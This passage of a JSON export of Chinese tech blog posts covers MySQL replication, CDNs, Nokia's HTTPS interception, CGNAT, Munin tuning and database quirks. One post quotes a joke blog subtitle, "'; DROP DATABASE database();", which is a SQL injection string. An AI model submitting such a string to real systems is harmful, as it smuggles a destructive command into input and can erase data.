SQL 1 再執行 SQL 2，所以最長會有 200 秒的 replication lag。\r\n\r\n而 5.6.3 之後支援 multi-threaded replication，可以用 <code>slave_parallel_workers</code> 指定平行執行 SQL query 的數量，這讓 master server 與 slave server 之間的 replication lag 降低不少：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/d1VKu.webp\" /><img src=\"https://i.gslin.com/imgur/d1VKu.jpg\" alt=\"\" /></picture>\r\n\r\n在收到同步的 SQL 指令後就可以同時跑，這讓 replication lag 降到 100 秒。\r\n\r\n不過還是要提，如果希望把資料同步問題降到最低，那麼 <a href=\"http://www.codership.com/content/using-galera-cluster\">Galera Cluster</a> 可以解的更徹底，不論是寫入的那台 master server，或是其他的 master server (在 Galera Cluster 架構裡都是為 master)，一律都是同步執行：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/UbH5E.webp\" /><img src=\"https://i.gslin.com/imgur/UbH5E.jpg\" alt=\"\" /></picture>\r\n\r\n不會有 master server 與 slave server 不同步的問題，可以減少很多 application 層的麻煩...",
    "title": "MySQL 平行執行的 Replication..."
  },
  {
    "id": "3119",
    "body": "看到「<a href=\"http://blog.64p.org/\">tokuhirom's blog.</a>」這個人的 blog 副標題是「'; DROP DATABASE database();」，特別紀錄一下 XDDD\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/jy7fz.webp\" /><img src=\"https://i.gslin.com/imgur/jy7fz.jpg\" alt=\"\" /></picture>\r\n\r\n感覺輸了... XD",
    "title": "副標「'; DROP DATABASE database();」"
  },
  {
    "id": "3120",
    "body": "<a href=\"http://www.netflix.com/\">Netflix</a> 在半年前就開始推廣 <a href=\"https://signup.netflix.com/openconnect\">Open Connect Content Delivery Network</a>，類似於 <a href=\"https://www.google.com/\">Google</a> 的 Google Global Cache (GGC)。\r\n\r\nNetflix 的 Open Connect 計畫提供兩種方式讓 ISP 參與，第一種方式是在各地機房 peering (地點在「<a href=\"https://signup.netflix.com/openconnect/locations\">Open Connect Peering Locations</a>」這份資料裡有條列出來)，需要用 10Gbps 以上的線路介接，實際流量以 95% 計算後必須在 2Gbps 以上。\r\n\r\n另一種更進接的方式是讓各 ISP 在自己的網路放 Netflix 所設計的快取伺服器，Netflix 會把該 ISP 的流量導到這組伺服器上面 (4U 的伺服器，有兩個 10Gbps SR/LR，36 顆 3TB SATA，加上 2 顆 512GB SSD)，這對於 ISP 與內容業者都可以節省頻寬成本。\r\n\r\n這佈局佈一陣子了 (大約半年)，Netflix 前幾天宣佈有 Open Connect 計畫合作的 ISP 將可以看 Super HD 與 3D 電影：「<a href=\"http://blog.streamingmedia.com/the_business_of_online_vi/2013/01/netflix-announces-major-isps-deploying-their-cdn-caches-new-3d-streaming.html\">Netflix Announces Major ISPs Deploying Their CDN Caches; New 3D Streaming</a>」，這些電影將會用掉 7Mbps～12Mbps 的頻寬。\r\n\r\nNetflix 在北美流量比 <a href=\"http://www.youtube.com/\">YouTube</a> 還大，除了之前的 Multi CDN vendor 策略以外，很自然會想要建自己的 CDN，畢竟有量之後很多事情自己做會比較節省成本...",
    "title": "Netflix 的 Open Connect，以及 Super HD 與 3D 電影..."
  },
  {
    "id": "3121",
    "body": "昨天的 <a href=\"http://engineering.twitter.com/\">Twitter Engineering Blog</a> 上說明了 Twitter 這陣子改善搜尋演算法背後的故事：「<a href=\"http://engineering.twitter.com/2013/01/improving-twitter-search-with-real-time.html\">Improving Twitter search with real-time human computation</a>」。\r\n\r\n因為搜尋的量夠大，所以可以拿搜尋的 keyword 計算。\r\n\r\n而系統會一直分析搜尋的關鍵字，當發現有詞彙在某個時間內超過設定的水位時，就發 API 到 <a href=\"http://www.amazon.com/\">Amazon</a> 的 <a href=\"https://www.mturk.com/\">Mechanical Turk</a> 讓真人分析 (分類)，分析完成後就可以再回到自動化的流程進行後續的步驟...\r\n\r\nMechanical Turk 就是 crowdsourcing 類型的服務，這個服務因為法令限制，到現在還是只能讓美國的公司或是個人使用，是少數還沒玩過的服務，應該來找看看有沒有其他 crowdsourcing 服務可以玩...",
    "title": "Twitter 的熱門搜尋演算法 (以及背後的機制)"
  },
  {
    "id": "3122",
    "body": "在「<a href=\"http://www.html5rocks.com/en/tutorials/security/sandboxed-iframes/\">Play safely in sandboxed IFrames</a>」這篇文章提到 HTML5 有對 iframe 制定 sandbox 屬性，這可以讓開發者比較容易處理安全性問題。\r\n\r\n比較讓我驚訝是開頭的 browser support 清單是主流全部支援，但又沒寫版號：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/39vnf.webp\" /><img src=\"https://i.gslin.com/imgur/39vnf.jpg\" alt=\"\" /></picture>\r\n\r\n不過實際到「<a href=\"http://caniuse.com/iframe-sandbox\">Can I use sandbox attribute for iframes?</a>」查，發現沒那麼美好 XD\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/5I2MK.webp\" /><img src=\"https://i.gslin.com/imgur/5I2MK.jpg\" alt=\"\" /></picture>\r\n\r\n主要的瀏覽器中，<a href=\"http://www.microsoft.com/windows/ie/\">IE</a> 要到 10 才有支援，另外 <a href=\"http://www.mozilla.org/firefox/\">Firefox</a> 剛支援沒多久 (17 以及之後的版本，目前是 18)，看起來要等 Windows 7 的 IE8 被淘汰？",
    "title": "iframe 的 sandbox 功能..."
  },
  {
    "id": "3123",
    "body": "看到「<a href=\"http://arstechnica.com/gadgets/2013/01/17000-linux-powered-rifle-brings-auto-aim-to-the-real-world/\">$17,000 Linux-powered rifle brings \"auto-aim\" to the real world</a>」這個的時候還在想 rifle 有什麼其他意思...\r\n\r\n<img src=\"https://i.gslin.com/imgur/hjSJE.jpg\" alt=\"\" />\r\n\r\n畫面是這樣 XDDD\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/qKTeH.webp\" /><img src=\"https://i.gslin.com/imgur/qKTeH.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/uq6Sp.webp\" /><img src=\"https://i.gslin.com/imgur/uq6Sp.jpg\" alt=\"\" /></picture>\r\n\r\n這樣會被歸類到自動武器嗎？\r\n\r\n然後，既然都用 <a href=\"http://www.linux.org/\">Linux</a> 了，一定要問的是，有沒有 open source &amp; 可以自己刷韌體嗎 XDDD",
    "title": "CES 上展出 Linux-based 來福槍..."
  },
  {
    "id": "3124",
    "body": "<a href=\"http://www.percona.com/software/percona-toolkit\">Percona Toolkit</a> 是一大包管理 <a href=\"http://dev.mysql.com/\">MySQL</a> 的工具套件，裡面有非常多的 script 可以用。雖然有其他家的工具，但目前 Percona Toolkit 的功能算是相當完整，幾乎是必裝套件。\r\n\r\n如標題所說的，雖然還是 beta 階段，但最新版的 Percona Toolkit 總算把 <a href=\"http://www.percona.com/software/percona-xtradb-cluster\">Percona XtraDB Cluster</a> (PXC) 與 <a href=\"http://dev.mysql.com/\">MySQL</a> 5.6 納入支援：「<a href=\"http://www.mysqlperformanceblog.com/2013/01/09/percona-toolkit-2-1-8-released-today-with-beta-support-for-mysql-5-6/\">Percona Toolkit 2.1.8 released today with beta support for MySQL 5.6</a>」。",
    "title": "Percona Toolkit 2.1.8 開始支援 Percona XtraDB Cluster (PXC) 與 MySQL 5.6..."
  },
  {
    "id": "3125",
    "body": "<a href=\"https://www.google.com/\">Google</a> 在很久前就發現可以利用「搜尋的關鍵字」推測流感疫情，而在 2008 年建立了 <a href=\"https://en.wikipedia.org/wiki/Google_Flu_Trends\">Google Flu Trends</a>，利用關鍵字來推測可能的疫情：「<a href=\"http://www.google.org/flutrends/\">Explore flu trends around the world</a>」。\r\n\r\n而今年 Google 發出警告，依照關鍵字觀察，美國的流感疫情比起歷年來都高出不少：「<a href=\"http://readwrite.com/2013/01/11/google-yes-google-warns-of-intense-us-flu-activity\">Google - Yes, Google - Warns Of \"Intense\" U.S. Flu Activity</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/n3UKy.jpg\" alt=\"\" />\r\n\r\n這除了是 Google 的火力展示之外，也是在說明資料被適當應用時的威力。",
    "title": "Google 警告美國流感疫情提升..."
  },
  {
    "id": "3126",
    "body": "<a href=\"http://www.nokia.com/\">Nokia</a> 被抓到 Xpress Browser 會監控使用者連線，不論是 HTTP 或是 HTTPS：「<a href=\"http://www.techdirt.com/blog/wireless/articles/20130111/03432221640/nokia-running-man-middle-attack-to-decrypt-all-your-encrypted-traffic-promises-not-to-peek.shtml\">Nokia Running A Man In The Middle Attack To Decrypt All Your Encrypted Traffic, But Promises Not To Peek</a>」。\r\n\r\n兩篇原始發現人的文章，第一篇「<a href=\"http://gaurangkp.wordpress.com/2012/12/05/nokia-proxy/\">Nokia phone forcing traffic through proxy</a>」是講 HTTP 的部份，第二篇「<a href=\"http://gaurangkp.wordpress.com/2013/01/09/nokia-https-mitm/\">Nokia’s MITM on HTTPS traffic from their phone</a>」是 HTTPS 的部份。\r\n\r\n<img src=\"https://i.gslin.com/imgur/l9Uwt.jpg\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/gIuR3.jpg\" alt=\"\" />\r\n\r\n實際運作是類似於 HTTPS proxy 的作法。在「<a href=\"http://gigaom.com/2013/01/10/nokia-yes-we-decrypt-your-https-data-but-dont-worry-about-it/\">Nokia: Yes, we decrypt your HTTPS data, but don’t worry about it</a>」有詢問 Nokia 後的官方回覆：\r\n<blockquote>\"Importantly, the proxy servers do not store the content of web pages visited by our users or any information they enter into them,\" the company said. \"When temporary decryption of HTTPS connections is required on our proxy servers, to transform and deliver users’ content, it is done in a secure manner.\r\n\r\n\"Nokia has implemented appropriate organizational and technical measures to prevent access to private information. Claims that we would access complete unencrypted information are inaccurate.\"</blockquote>\r\nGIGAOM 的翻譯簡單多了：\r\n<blockquote>we decrypt your data, but trust us, we don’t peek. (對，我們的確這樣作，不過相信我們，我們沒有監聽。)</blockquote>\r\n你真的相信這鬼話嗎 XDDDDDDDDD\r\n\r\n以這張圖結尾：\r\n\r\n<img src=\"https://i.gslin.com/imgur/AjNF8.jpg\" alt=\"\" />",
    "title": "Nokia 監控使用者連線..."
  },
  {
    "id": "3127",
    "body": "<a href=\"http://www.percona.com/\">Percona</a> 的 Stewart Smith 解釋為什麼花這麼多時間才修正這個安全漏洞：「<a href=\"http://www.mysqlperformanceblog.com/2013/01/13/cve-2012-4414-in-mysql-5-5-29-and-percona-server-5-5-29/\">CVE-2012-4414 strikes back in MySQL 5.5.29 (and what we’re doing in Percona Server 5.5.29)</a>」\r\n\r\n<a href=\"https://mariadb.org/\">MariaDB</a> 的人在得知問題後先建立了 <a href=\"https://mariadb.atlassian.net/browse/MDEV-382\">MDEV-382</a> 這個 issue，然後建立了 <a href=\"https://bazaar.launchpad.net/~percona-core/percona-server/5.5/view/head:/Percona-Server/mysql-test/suite/rpl/t/rpl_mdev382.test\">rpl_mdev382.test</a> 這份測試資料，讓其他參與者可以測試手上的 <a href=\"http://dev.mysql.com/\">MySQL</a> 是否有問題。\r\n\r\n<a href=\"http://www.oracle.com/\">Oracle</a> 在修正問題時並沒有使用 MariaDB 這份測試資料測過 (或是測過但因為種種因素...) 就推出 MySQL 5.5.29，但 MySQL 5.5.29 用 <code>rpl_mdev382.test</code> 測試會失敗，而實際確認發現 Oracle 並沒有把問題解乾淨。所以本來 Percona 預定要使用官方 MySQL 5.5.29 版本為基礎推出 Percona Server 5.5.29 (可以降低 Percona 維護成本)，變成將會改用 MariaDB 的 patch。\r\n\r\n讓 Percona 的人特地寫一篇出來，看起來對 Oracle 不太爽... XD",
    "title": "Percona 說明關於為什麼花這麼多時間修正 MySQL 5.5.28 安全問題..."
  },
  {
    "id": "3128",
    "body": "起於去年十一月時，有人在<a href=\"http://www.whitehouse.gov/\">白宮</a>的 <a href=\"https://petitions.whitehouse.gov/\">We the People</a> 網站上發起建立<a href=\"https://zh.wikipedia.org/wiki/%E6%AD%BB%E6%98%9F\">死星</a>的請求 XDDD\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/bDkqb.webp\" /><img src=\"https://i.gslin.com/imgur/bDkqb.jpg\" alt=\"\" /></picture>\r\n\r\n該份請願書在「<a href=\"https://petitions.whitehouse.gov/petition/secure-resources-and-funding-and-begin-construction-death-star-2016/wlfKzFkN\">Secure resources and funding, and begin construction of a Death Star by 2016.</a>」。依照規定，請願超過兩萬五千人後，白宮必須給予正式的回覆。\r\n\r\n於是... 白宮就正式回覆了 XDDD 回覆是由 Paul Shawcross (Chief of the Science and Space Branch at the White House Office of Management and Budget) 掛名。<a href=\"http://www.bbc.co.uk/zhongwen/trad/\">BBC 中文網</a>給了很短的說明 (不過把重點都提到了)：「<a href=\"http://www.bbc.co.uk/zhongwen/trad/rolling_news/2013/01/130112_rolling_us_deathstar.shtml\">美國未批准修建星球大戰式太空站</a>」。\r\n\r\n在回覆內容中，標題的「This Isn't the Petition Response You're Looking For」是有梗的... 可以參考 <a href=\"http://www.imdb.com/\">IMDB</a> 對 <a href=\"http://starwars.com/\">Star Wars</a> 的名言錄：「<a href=\"http://www.imdb.com/title/tt0076759/quotes\">These aren't the droids you're looking for.</a>」。\r\n\r\n條列式列出三個政府反對的原因，第一條還很正經解釋預算問題。第二條就很正經的歪掉：\r\n<blockquote>The Administration does not support blowing up planets.</blockquote>\r\n而第三條直接說「啊這東西沒用啦～」：\r\n<blockquote>Why would we spend countless taxpayer dollars on a Death Star with a fundamental flaw that can be exploited by a one-man starship?</blockquote>\r\n解釋完後，後面就在推廣 <a href=\"http://www.nasa.gov/mission_pages/station/\">ISS</a> 與最近的成就... XD",
    "title": "美國政府正式拒絕死星建造計畫..."
  },
  {
    "id": "3130",
    "body": "這樣有比較有效率嗎 XDDD (而且怎麼吵起架來了 XDDD)\r\n\r\n<img src=\"https://i.gslin.com/imgur/IhiQY.jpg\" alt=\"\" />\r\n\r\n出自「<a href=\"http://www.labnol.org/internet/neighbours-wifi/27545/\">How to Communicate your Displeasure with Neighbours using Wi-Fi</a>」。",
    "title": "惡搞無線網路名稱 (SSID)"
  },
  {
    "id": "3133",
    "body": "<a href=\"http://munin-monitoring.org/\">Munin</a> 是套資源監視軟體。跟其他資源監視軟體不一樣的地方？畫面漂亮啊 XDDD 拿台堆各種雜物的 database 來看：\r\n\r\n<a href=\"https://i.gslin.com/imgur/qHetg.webp\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/qHetg.webp\" /><img src=\"https://i.gslin.com/imgur/qHetg.jpg\" alt=\"Munin screenshot\" /></picture></a>\r\n\r\n\r\n等到 Munin 監視超過二十台時就會很明顯感覺到很吃資源，再多的時候就會開始罵三字經，罵完後拆一台獨立的機器跑，以免跑個 vim 都要卡三秒... XD\r\n\r\n這時候就是該調整了：\r\n<ul>\r\n\t<li>將 <code>munin.conf</code> 的 graph_strategy 與 html_strategy 都改成 cgi，告訴 Munin 在更新時只要更新 rrd 資料，而圖片與 html 的資料讓 cgi 做就好，這可以大幅減少 i/o rate。</li>\r\n\t<li>將 <a href=\"http://oss.oetiker.ch/rrdtool/doc/rrdcached.en.html\">rrdcached</a> 跑起來，讓 rrd 資料寫入次數更少。<code>rrdcached</code> 的預設參數要記得調整。</li>\r\n\t<li>將網站本來用 CGI 的部份改成 <a href=\"http://www.fastcgi.com/drupal/\">FastCGI</a>，其實對 <a href=\"http://nginx.org/\">nginx</a> 之類的 web server 反而是簡化了 (因為 nginx 內建只支援 FastCGI 而不支援 CGI)。</li>\r\n</ul>\r\n另外有些討厭的地方，strategy 設定不能放到 includedir 裡，一定得放 <code>munin.conf</code> 本體，這對於自建 ports 的人有點麻煩... (得用 pkg-install 與 @unexec 去堆設定，可以參考 <a href=\"http://www.freshports.org/ports-mgmt/portconf\">ports-mgmt/portconf</a> 對 <code>/etc/make.conf</code> 的作法)",
    "title": "Munin 的設定..."
  },
  {
    "id": "3134",
    "body": "在公司搞定一個速度最佳化的問題，想到之前在 <a href=\"http://stackoverflow.com/\">Stack Overflow</a> 上有看到 CPU branch prediction 的問題 (跟我解的問題應該沒關係，只是剛好想到)，把文章找出來...\r\n\r\n出自 <a href=\"http://stackoverflow.com/\">Stack Overflow</a> 上有人詢問某段 C++ 程式為什麼加上 sort 後快多了：「<a href=\"http://stackoverflow.com/questions/11227809/why-is-processing-a-sorted-array-faster-than-an-unsorted-array\">Why is processing a sorted array faster than an unsorted array?</a>」。\r\n\r\n發文者的範例程式已經簡化到很容易理解：先產生一個 32Kytes 的 array，然後裡面塞亂數。\r\n\r\n接下來把每個 byte 當作 unsigned char，要找出這個 array 裡面所有值大於等於 128 的元素，把這些元素的值加起來。\r\n\r\n原發文者發現，如果先把這個 array 排過再計算，十萬次只要 1.93 秒，但如果不排就直接計算需要 11.54 秒，時間差不多是原來的六倍。\r\n\r\n回答的人答的相當詳細，還給了一個 branchless 的 hack 來解這個問題 (於是就不需要先 sort)，很值得一看。",
    "title": "CPU Branch Prediction 的成本..."
  },
  {
    "id": "3135",
    "body": "「分散式系統」(Distributed System) 是個老詞彙，但跟最近當紅詞彙「雲」、「NoSQL」常常相關。也因此「雲」與「NoSQL」常常遇到的都是分散式系統遇到 (並且討論過) 的問題...\r\n\r\n而「<a href=\"http://www.somethingsimilar.com/2013/01/14/notes-on-distributed-systems-for-young-bloods/\">Notes on Distributed Systems for Young Bloods</a>」這篇寫的好血淚 XDDD 除了講理論面的東西以外，也把實務面會遇到的問題拿出來講...\r\n\r\n首先要先知道「<a href=\"https://en.wikipedia.org/wiki/Fallacies_of_Distributed_Computing\">Fallacies of Distributed Computing</a>」，在分散式系統裡，能假設的事情實在太少，要處理的事情太多。而「<a href=\"https://en.wikipedia.org/wiki/CAP_theorem\">CAP theorem</a>」也是個必讀的主題，從 <a href=\"http://www.amazon.com/\">Amazon</a> 丟出「<a href=\"http://www.allthingsdistributed.com/files/amazon-dynamo-sosp2007.pdf\">Dynamo: Amazon's Highly Available Key-value Store</a>」這篇經典的 paper 後讓更多人知道這個理論。\r\n\r\n熟悉上面兩個主題後，接下來就是血淚史... XD\r\n<blockquote>garbage collection pauses make masters “disappear”</blockquote>\r\n啊，GC 讓 master 不見... (NameNode... XDDD)\r\n<blockquote>Writing robust distributed systems costs more than writing robust single-machine systems.</blockquote>\r\n<blockquote>Robust, open source distributed systems are much less common than robust, single-machine systems.</blockquote>\r\n這兩條... XD\r\n<blockquote>Oh, and Paxos really is very hard to implement</blockquote>\r\nPaxos... XD\r\n<blockquote>If you can fit your problem in memory, it’s probably trivial.</blockquote>\r\n(噴飯)\r\n<blockquote>“It’s slow” is the hardest problem you’ll ever debug.</blockquote>\r\n連問題都找不到嗎... XD\r\n\r\n撇開這些碎碎念的部份，就算對 distributed system 沒那麼熟，這篇文章也提到了很多「解決的方向」以及「關鍵字」讓你找資料，對於實際操作時會有很大的幫助。",
    "title": "分散式系統的建言..."
  },
  {
    "id": "3136",
    "body": "看到<a href=\"http://iamhlb.com/\">布長輩</a>提到：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/P6Kjz.webp\" /><img src=\"https://i.gslin.com/imgur/P6Kjz.jpg\" alt=\"\" /></picture>\r\n\r\n剛開始用 <a href=\"http://www.104.com.tw/\">104</a> 的系統找履歷時，都用一些很爛的關鍵字搜尋：\r\n<ul>\r\n\t<li>php</li>\r\n\t<li>mysql</li>\r\n\t<li>ccna</li>\r\n</ul>\r\n最近找起來比較有心得了，用這些關鍵字：\r\n<ul>\r\n\t<li>github &amp; bitbucket</li>\r\n\t<li>slideshare &amp; speakerdeck</li>\r\n\t<li>各 conference 的名字</li>\r\n</ul>\r\n還有一些相關領域的關鍵字拿來找也還蠻不錯的...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/sXFwb.webp\" /><img src=\"https://i.gslin.com/imgur/sXFwb.jpg\" alt=\"\" /></picture>\r\n\r\n另外最後宣傳一下，<a href=\"http://www.kkbox.com/\">敝公司</a>找人，包括 client 開發與 server 開發都有缺。(我主要是 server 的部份，client 的部份我會轉給我同事)\r\n\r\n有興趣可以用 gslin at kkbox.com 聯絡... (不過話說回來，我下星期去日本，cc 一份給 hr at kkbox.com 會比較好)",
    "title": "最近找人... (然後，KKBOX 正在徵才)"
  },
  {
    "id": "3137",
    "body": "<a href=\"http://www.whitehouse.gov/\">白宮</a>宣佈提昇 <a href=\"https://petitions.whitehouse.gov/\">We the People</a> 的強制答覆連署上限，將原本 25k 人提昇至 100k 人：「<a href=\"http://www.whitehouse.gov/blog/2013/01/15/why-we-re-raising-signature-threshold-we-people\">Why We're Raising the Signature Threshold for We the People</a>」。\r\n\r\n因為最近參與的人變多太多：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Bhxw9.webp\" /><img src=\"https://i.gslin.com/imgur/Bhxw9.jpg\" alt=\"\" /></picture>\r\n\r\n另外白宮給了一份 Infograph，更詳細的說明參與的狀況：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/7eLMr.webp\" /><img src=\"https://i.gslin.com/imgur/7eLMr.jpg\" alt=\"Overview\" /></picture>\r\n\r\n英國有個 <a href=\"http://data.gov.uk/\">data.gov.uk</a>，美國有個 We the People，再加上昨天看到的 <a href=\"http://alpha.data.gov/\">alpha.data.gov</a> (A collection of open data from the government, private sector, and non-profits that are fueling a new economy.)，感覺台灣跟世界上的已開發國家愈差愈遠了...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/KcSSn.webp\" /><img src=\"https://i.gslin.com/imgur/KcSSn.jpg\" alt=\"data.gov.uk\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/XEuQj.webp\" /><img src=\"https://i.gslin.com/imgur/XEuQj.jpg\" alt=\"alpha.data.gov\" /></picture>",
    "title": "白宮 We the People 提高答覆連署人數"
  },
  {
    "id": "3138",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://twitter.com/jmerriman\">John Merriman</a> 寫的「I talked to Adobe yesterday」：\r\n\r\n<blockquote class=\"twitter-tweet\"><p>I talked to Adobe yesterday: <a href=\"http://t.co/yvcrmvyl\" title=\"http://twitter.com/jmerriman/status/291647075257552896/photo/1\">twitter.com/jmerriman/stat…</a></p>&mdash; John Merriman (@jmerriman) <a href=\"https://twitter.com/jmerriman/status/291647075257552896\" data-datetime=\"2013-01-16T20:44:16+00:00\">January 16, 2013</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n這回答看起來就像機器人 XDDD\r\n\r\n這時候就要拿出經典的「<a href=\"https://en.wikipedia.org/wiki/On_the_Internet,_nobody_knows_you're_a_dog\">On the Internet, nobody knows you're a dog</a>」出來：\r\n\r\n<img src=\"https://i.gslin.com/imgur/rWjkw.jpg\" alt=\"On the Internet, nobody knows you're a dog\" />",
    "title": "Adobe 的客服機器人..."
  },
  {
    "id": "3140",
    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到 <a href=\"http://www.plus.net/\">PlusNet</a> 決定測試用 CGNAT (<a href=\"https://en.wikipedia.org/wiki/Carrier-grade_NAT\">Carrier-grade NAT</a>) 解決 IPv4 不夠的問題：「<a href=\"http://tech.slashdot.org/story/13/01/16/1417244/uk-isp-plusnet-testing-carrier-grade-nat-instead-of-ipv6\">UK ISP PlusNet Testing Carrier-Grade NAT Instead of IPv6</a>」。\r\n\r\n用超大型 NAT 並不是特別的新聞 (某些 mobile network 上就是這樣做)，但 ISP 如果用在一般網路上則很有可能會跟客戶的 NAT device (可能是公司，也可能是家庭) 發生 Private Network 相同而導致問題。\r\n\r\n2012 年 4 月的 <a href=\"https://tools.ietf.org/html/rfc6598\">RFC 6598</a> (IANA-Reserved IPv4 Prefix for Shared Address Space) 將 <code>100.64.0.0/10</code> (Shared Address Space) 這個網段保留，拿來給營運 CGNAT 的 ISP 使用：\r\n<blockquote><pre>NetRange:       100.64.0.0 - 100.127.255.255\r\nCIDR:           100.64.0.0/10\r\nOriginAS:\r\nNetName:        SHARED-ADDRESS-SPACE-RFCTBD-IANA-RESERVED\r\nNetHandle:      NET-100-64-0-0-1\r\nParent:         NET-100-0-0-0-0\r\nNetType:        IANA Special Use</pre></blockquote>\r\n在 RFC 裡規定 <code>100.64.0.0/10</code> 只能拿來內部使用不得交換；如果要交換必須要有能力將不同介面的 <code>100.64.0.0/10</code> 當作不同網段 NAT (也就是 CGNAT 會做的事情)：\r\n<blockquote>In particular, Shared Address Space can only be used in Service Provider networks or on routing equipment that is able to do address translation across router interfaces when the addresses are identical on two different interfaces.</blockquote>\r\n另外文件裡還定義了使用 <code>100.64.0.0/10</code> 時對 DNS 的過濾。\r\n\r\n如果 CGNAT 上不能打洞，那麼很多應用就很苦了 (得靠 <a href=\"https://en.wikipedia.org/wiki/UDP_hole_punching\">UDP hole punching</a> 打洞，這還得在沒有 randomized NAT port 的情況下才打的通)，不過非 P2P 的應用應該不會有問題...\r\n\r\n會不會做一做之後就維持這個方式？IPv6 遙遙無期... XD",
    "title": "ISP 架設 NAT 解決 IPv4 不夠的問題..."
  },
  {
    "id": "3141",
    "body": "<a href=\"http://www.mozilla.org/\">Mozilla</a> 最近在升級 <a href=\"http://dev.mysql.com/\">MySQL</a> 採「先建後拆」的步驟，發現用 <a href=\"http://www.percona.com/doc/percona-toolkit/2.1/pt-table-checksum.html\">pt-table-checksum</a> 檢查時不一致：「<a href=\"https://blog.mozilla.org/it/2013/01/17/mysql-5-1-vs-mysql-5-5-floats-doubles-and-scientific-notation/\">MySQL 5.1 vs. MySQL 5.5: Floats, Doubles, and Scientific Notation</a>」。\r\n\r\n後來發現，在 MySQL 5.1 (5.1.65-rel14.0-log Percona Server (GPL), 14.0, Revision 475) 的查詢結果是：(Mozilla 的範例)\r\n<blockquote><pre>mysql&gt; select float_field from db.tbl where id=218964;\r\n+-------------+\r\n| float_field |\r\n+-------------+\r\n| 9.58084e-05 |\r\n+-------------+\r\n1 row in set (0.04 sec)</pre></blockquote>\r\n而在 MySQL 5.5 (5.5.28a-MariaDB-log MariaDB Server) 的查詢結果是：\r\n<blockquote><pre>MariaDB [(none)]&gt; select float_field from db.tbl where id=218964;\r\n+--------------+\r\n| float_field |\r\n+--------------+\r\n| 0.0000958084 |\r\n+--------------+\r\n1 row in set (0.24 sec)</pre></blockquote>\r\n最後是讓 pt-table-checksum 把 float/double 欄位忽略掉。在 comment 有人提出來是在 MySQL 5.5.3 的時候改變的，不過作者蠻意外沒什麼人提到...",
    "title": "資料庫裡的浮點數：MySQL 5.1 到 MySQL 5.5 的差異..."
  },
  {
    "id": "3142",
    "body": "<a href=\"http://dev.mysql.com/\">MySQL</a> replication 通常是資料庫擴充的第一步，因為架設很簡單。但一般 MySQL replication 的讀寫必須分開 (寫入只能在 master)。\r\n\r\n在「<a href=\"http://www.mysqlperformanceblog.com/2013/01/17/webinar-on-readwrite-splitting-with-php/\">Webinar on Read/Write Splitting with PHP</a>」看到 <a href=\"http://www.percona.com/\">Percona</a> 下星期會辦 Webinar，說明在 MySQL replication 架構下要如何處理讀寫分離。\r\n\r\n看起來包括對 replication lag 時的處理 (slave 因為各種原因，導致跟不上 master)，有興趣的人可以去報名聽聽看... 雖然是講 <a href=\"http://php.net/\">PHP</a>，但這個問題在其他的語言也會遇到，聽觀念也應該有幫助。",
    "title": "Percona 將辦 Webinar 說明資料庫讀寫分離時的處理..."
  },
  {
    "id": "3143",
    "body": "在 <a href=\"http://blog.pfsense.org/\">pfSense 的 blog</a> 上看到的：「<a href=\"http://blog.pfsense.org/?p=684\">OpenVPN client now available on Apple iOS!</a>」，應用程式是這個：「<a href=\"https://itunes.apple.com/us/app/openvpn-connect/id590379981\">OpenVPN Connect</a>」。\r\n\r\n剛裝好跑起來是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Pbdx0.webp\" /><img src=\"https://i.gslin.com/imgur/Pbdx0.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/A7ESa.webp\" /><img src=\"https://i.gslin.com/imgur/A7ESa.jpg\" alt=\"\" /></picture>\r\n\r\n看起來要先生出 .ovpn 檔案才能用，晚點再來測看看...",
    "title": "iOS 上可以跑 OpenVPN 了..."
  },
  {
    "id": "3144",
    "body": "先不管 <a href=\"http://instagram.com/\">Instagram</a> 最近的負成長以及反駁，剛剛在 <a href=\"http://instagram-engineering.tumblr.com/\">Instagram Engineering</a> 上看到對 <a href=\"http://www.postgresql.org/\">PostgreSQL</a> 的稱讚：「<a href=\"http://instagram-engineering.tumblr.com/post/40781627982/handling-growth-with-postgres-5-tips-from-instagram\">Handling Growth with Postgres: 5 Tips From Instagram</a>」\r\n\r\n<a href=\"https://www.facebook.com/\">Facebook</a> 在 <a href=\"http://dev.mysql.com/\">MySQL</a> 的領域裡的實力以及貢獻度可是數一數二，但 Instagram 在被 <a href=\"https://www.facebook.com/\">Facebook</a> 買下後仍然繼續使用 PostgreSQL，總是有些原因存在... 雖然真正的原因不一定是技術，但這篇試著用技術解釋的內容還是可以看一看，了解 PostgreSQL 有哪些特點...\r\n\r\n第一個是講 partial indexes，這與 MySQL community 常講的 partial index 是不同的東西。\r\n\r\nMySQL 的 partial index 是指只 index 某個欄位的一部分，像是 VARCHAR(255) 裡面只 index 前面的 10 chars；而 PostgreSQL 的 partial indexes 則是指符合某個條件的 row 才 index。\r\n\r\n第二個是 functional indexes，可以針對欄位計算後再 index。MySQL 的 partial index 在 PostgreSQL 裡可以用 functional indexes + 